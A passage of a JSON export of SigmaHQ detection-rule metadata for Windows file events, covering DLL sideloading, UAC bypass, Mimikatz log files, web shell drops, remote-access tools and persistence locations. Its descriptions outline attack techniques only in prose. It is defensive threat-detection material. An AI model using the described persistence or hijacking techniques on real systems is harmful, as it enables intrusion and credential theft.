"estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b4926b47-a9d7-434c-b3a0-adc3fa0bd13e", "value": "Suspicious Double Extension Files" }, { "description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder", "meta": { "author": "elhoim", "creation_date": "2022/04/28", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_default_gpo_dir_write.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/intelligence-insights-november-2021/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml" ], "tags": [ "attack.t1036.005", "attack.defense_evasion" ] }, "uuid": "5f87308a-0a5b-4623-ae15-d8fa1809bc60", "value": "Suspicious Files in Default GPO Folder" }, { "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n", "meta": { "author": "frack113", "creation_date": "2021/12/30", "falsepositive": [ "Unknown" ], "filename": "file_event_win_creation_unquoted_service_path.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml" ], "tags": [ "attack.persistence", "attack.t1547.009" ] }, "uuid": "8c3c76ca-8f8b-4b1d-aaf3-81aebcd367c9", "value": "Creation Exe for Service with Unquoted Path" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/02/13", "falsepositive": [ "Legitimate use" ], "filename": "file_event_win_gotoopener_artefact.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5d756aee-ad3e-4306-ad95-cb1abec48de2", "value": "GoToAssist Temporary Installation Artefact" }, { "description": "Detects a Windows executable that writes files to suspicious folders", "meta": { "author": "Florian Roth", "creation_date": "2021/11/20", "falsepositive": [ "Unknown" ], "filename": "file_event_win_shell_write_susp_directory.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml" ], "tags": "No established tags" }, "uuid": "1277f594-a7d1-4f28-a2d3-73af5cbeab43", "value": "Windows Shell File Write to Suspicious Folder" }, { "description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n", "meta": { "author": "Subhash Popuri (@pbssubhash)", "creation_date": "2021/08/21", "falsepositive": [ "Any powershell script that creates bat files" ], "filename": "file_event_win_detect_powerup_dllhijacking.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_detect_powerup_dllhijacking.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.defense_evasion", "attack.t1574.001" ] }, "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b96", "value": "Powerup Write Hijack DLL" }, { "description": "Detects programs on a Windows system that should not write executables to disk", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/08/21", "falsepositive": [ "Unknown" ], "filename": "file_event_win_legitimate_app_dropping_exe.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_exe.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f0540f7e-2db3-4432-b9e0-3965486744bc", "value": "Legitimate Application Dropped Executable" }, { "description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe", "meta": { "author": "Tim Shelton", "creation_date": "2022/01/10", "falsepositive": [ "Unknown" ], "filename": "file_event_win_cscript_wscript_dropper.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cscript_wscript_dropper.yml" ], "tags": "No established tags" }, "uuid": "002bdb95-0cf1-46a6-9e08-d38c128a6127", "value": "WScript or CScript Dropper - File" }, { "description": "Detects add-ins that load when Microsoft Word or Excel starts (.wll/.xll are simply .dll fit for Word or Excel).", "meta": { "author": "NVISO", "creation_date": "2020/05/11", "falsepositive": [ "Legitimate add-ins" ], "filename": "file_event_win_office_persistence.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_persistence.yml" ], "tags": [ "attack.persistence", "attack.t1137.006" ] }, "related": [ { "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8e1cb247-6cf6-42fa-b440-3f27d57e9936", "value": "Microsoft Office Add-In Loading" }, { "description": "Detects the creation of a macro file for Outlook.\nGoes with win_outlook_c2_registry_key. VbaProject.OTM is explicitly mentioned in T1137.\nParticularly interesting if both events Registry & File Creation happens at the same time.\n", "meta": { "author": "@ScoubiMtl", "creation_date": "2021/04/05", "falsepositive": [ "User genuinely creates a VB Macro for their email" ], "filename": "file_event_win_outlook_c2_macro_creation.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_c2_macro_creation.yml" ], "tags": [ "attack.persistence", "attack.command_and_control", "attack.t1137", "attack.t1008", "attack.t1546" ] }, "related": [ { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8c31f563-f9a7-450c-bfa8-35f8f32f1f61", "value": "Outlook C2 Macro Creation" }, { "description": "Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.", "meta": { "author": "frack113", "creation_date": "2022/09/05", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_executable_creation.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae", "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564" ] }, "related": [ { "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "74babdd6-a758-4549-9632-26535279e654", "value": "Suspicious Executable File Creation" }, { "description": "Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675", "meta": { "author": "Florian Roth", "creation_date": "2021/06/29", "falsepositive": [ "Unknown" ], "filename": "file_event_win_cve_2021_1675_printspooler.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/cube0x0/CVE-2021-1675", "https://github.com/hhlxf/PrintNightmare", "https://github.com/afwu/PrintNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.resource_development", "attack.t1587", "cve.2021.1675" ] }, "related": [ { "dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2131cfb3-8c12-45e8-8fa0-31f5924e9f07", "value": "CVE-2021-1675 Print Spooler Exploitation Filename Pattern" }, { "description": "Detects Mimikatz MemSSP default log file creation", "meta": { "author": "David ANDRE", "creation_date": "2021/12/20", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_mimikatz_memssp_log_file.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_memssp_log_file.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "034affe8-6170-11ec-844f-0f78aa0c4d66", "value": "Mimikatz MemSSP Default Log File Creation" }, { "description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or OneDrive application, the dropped malicious DLL file (“iphlpapi.dll”) is sideloaded\n", "meta": { "author": "frack113", "creation_date": "2022/08/12", "falsepositive": [ "Unknown" ], "filename": "file_event_win_iphlpapi_dll_sideloading.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "1908fcc1-1b92-4272-8214-0fbaf2fa5163", "value": "Malicious DLL File Dropped in the Teams or OneDrive Folder" }, { "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", "meta": { "author": "Sittikorn S", "creation_date": "2021/07/16", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml" ], "tags": [ "attack.credential_access", "attack.t1566", "attack.t1203", "cve.2021.33771", "cve.2021.31979" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ad7085ac-92e4-4b76-8ce2-276d2c0e68ef", "value": "CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum" }, { "description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/18", "falsepositive": [ "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" ], "filename": "file_event_win_wpbbin_persistence.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/wpbbin.html", "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.t1542.001" ] }, "uuid": "e94b9ddc-eec5-4bb8-8a58-b9dc5f4e185f", "value": "UEFI Persistence Via Wpbbin - FileCreation" }, { "description": "Detects the creation of log files during a TeamViewer remote session", "meta": { "author": "Florian Roth", "creation_date": "2022/01/30", "falsepositive": [ "Legitimate uses of TeamViewer in an organisation" ], "filename": "file_event_win_susp_teamviewer_remote_session.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.teamviewer.com/en-us/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "162ab1e4-6874-4564-853c-53ec3ab8be01", "value": "TeamViewer Remote Session" }, { "description": "Detects default file names outputted by the BloodHound collection tool SharpHound", "meta": { "author": "C.J. May", "creation_date": "2022/08/09", "falsepositive": [ "Unknown" ], "filename": "file_event_win_bloodhound_collection.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml" ], "tags": [ "attack.discovery", "attack.t1087.001", "attack.t1087.002", "attack.t1482", "attack.t1069.001", "attack.t1069.002", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "02773bed-83bf-469f-b7ff-e676e7d78bab", "value": "BloodHound Collection Files" }, { "description": "Detects WerFault copoed to a suspicious folder, which could be a sign of WerFault DLL hijacking", "meta": { "author": "frack113", "creation_date": "2022/05/09", "falsepositive": [ "Unknown" ], "filename": "file_event_win_werfault_dll_hijacking.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_werfault_dll_hijacking.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.t1574.001" ] }, "uuid": "28a452f3-786c-4fd8-b8f2-bddbe9d616d1", "value": "Creation of an WerFault.exe in Unusual Folder" }, { "description": "Detects creation of template files for Microsoft Office from outside Office", "meta": { "author": "Max Altgelt", "creation_date": "2022/06/02", "falsepositive": [ "Loading a user environment from a backup or a domain controller", "Synchronization of templates" ], "filename": "file_event_win_word_template_creation.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_word_template_creation.yml" ], "tags": [ "attack.persistence", "attack.t1137" ] }, "related": [ { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0e20c89d-2264-44ae-8238-aeeaba609ece", "value": "Office Template Creation" }, { "description": "Detects Octopus Scanner Malware.", "meta": { "author": "NVISO", "creation_date": "2020/06/09", "falsepositive": [ "Unknown" ], "filename": "file_event_win_mal_octopus_scanner.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml" ], "tags": [ "attack.t1195", "attack.t1195.001" ] }, "related": [ { "dest-uuid": "191cc6af-1bb2-4344-ab5f-28e496638720", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "805c55d9-31e6-4846-9878-c34c75054fe9", "value": "Octopus Scanner Malware" }, { "description": "Detects the presence and execution of Inveigh via dropped artefacts", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/24", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_inveigh_artefacts.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_inveigh_artefacts.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bb09dd3e-2b78-4819-8e35-a7c1b874e449", "value": "Inveigh Execution Artefacts" }, { "description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)", "meta": { "author": "elhoim", "creation_date": "2022/04/28", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_creation_by_mobsync.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/intelligence-insights-november-2021/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml" ], "tags": [ "attack.t1055", "attack.t1218", "attack.execution", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "409f8a98-4496-4aaa-818a-c931c0a8b832", "value": "Created Files by Microsoft Sync Center" }, { "description": "Detects anydesk writing binaries files to disk other than \"gcapi.dll\".\nAccording to RedCanary research it's highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll,\nwhich is a legitimate DLL that's part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/28", "falsepositive": [ "Unknown" ], "filename": "file_event_win_anydesk_writing_susp_binaries.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2d367498-5112-4ae5-a06a-96e7bc33a211", "value": "Suspicious Binary Writes Via AnyDesk" }, { "description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut.\nIf the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder.\nAdditionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.\n", "meta": { "author": "Greg (rule)", "creation_date": "2022/07/21", "falsepositive": [ "Unknown" ], "filename": "file_event_win_ripzip_attack.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml" ], "tags": [ "attack.persistence", "attack.t1547" ] }, "uuid": "a6976974-ea6f-4e97-818e-ea08625c52cb", "value": "Potential RipZip Attack on Startup Folder" }, { "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", "meta": { "author": "@ROxPinTeddy", "creation_date": "2020/05/12", "falsepositive": [ "Legitimate administrative use" ], "filename": "file_event_win_advanced_ip_scanner.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml" ], "tags": [ "attack.discovery", "attack.t1046" ] }, "uuid": "fed85bf9-e075-4280-9159-fbe8a023d6fa", "value": "Advanced IP Scanner - File Event" }, { "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/09", "falsepositive": [ "Unknown" ], "filename": "file_event_win_error_handler_cmd_persistence.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/last-byte/PersistenceSniper", "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_error_handler_cmd_persistence.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "15904280-565c-4b73-9303-3291f964e7f9", "value": "Potential Persistence Attempt Via ErrorHandler.Cmd" }, { "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_wmp.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "68578b43-65df-4f81-9a9b-92f32711a951", "value": "UAC Bypass Using Windows Media Player - File" }, { "description": "Detects the creation of known offensive powershell scripts used for exploitation", "meta": { "author": "Markus Neis, Nasreddine Bencherchali, Mustafa Kaan Demir, Georg Lauenstein", "creation_date": "2018/04/07", "falsepositive": [ "Unknown" ], "filename": "file_event_win_powershell_exploit_scripts.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/HarmJ0y/DAMP", "https://github.com/samratashok/nishang", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", "https://github.com/PowerShellMafia/PowerSploit", "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", "https://github.com/nettitude/Invoke-PowerThIEf", "https://github.com/S3cur3Th1sSh1t/WinPwn", "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", "https://github.com/AlsidOfficial/WSUSpendu/", "https://github.com/CsEnox/EventViewer-UACBypass", "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", "https://github.com/NetSPI/PowerUpSQL", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f331aa1f-8c53-4fc3-b083-cc159bc971cb", "value": "Malicious PowerShell Commandlets - FileCreation" }, { "description": "Detects suspicious file type dropped by an Exchange component in IIS", "meta": { "author": "Florian Roth", "creation_date": "2022/10/04", "falsepositive": [ "Unknown" ], "filename": "file_event_win_exchange_webshell_drop_suspicious.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml" ], "tags": [ "attack.persistence", "attack.t1190", "attack.initial_access", "attack.t1505.003" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6b269392-9eba-40b5-acb6-55c882b20ba6", "value": "Suspicious File Drop by Exchange" }, { "description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation", "meta": { "author": "Florian Roth", "creation_date": "2022/02/25", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_exchange_aspx_write.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/blackbyte-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.persistence", "attack.t1505.003" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7280c9f3-a5af-45d0-916a-bc01cb4151c9", "value": "Suspicious MSExchangeMailboxReplication ASPX Write" }, { "description": "Detects processes creating temp files related to PCRE.NET package", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/29", "falsepositive": [ "Unknown" ], "filename": "file_event_win_pcre_net_temp_file.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/rbmaslen/status/1321859647091970051", "https://twitter.com/tifkin_/status/1321916444557365248", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6e90ae7a-7cd3-473f-a035-4ebb72d961da", "value": "PCRE.NET Package Temp Files" }, { "description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64...etc).", "meta": { "author": 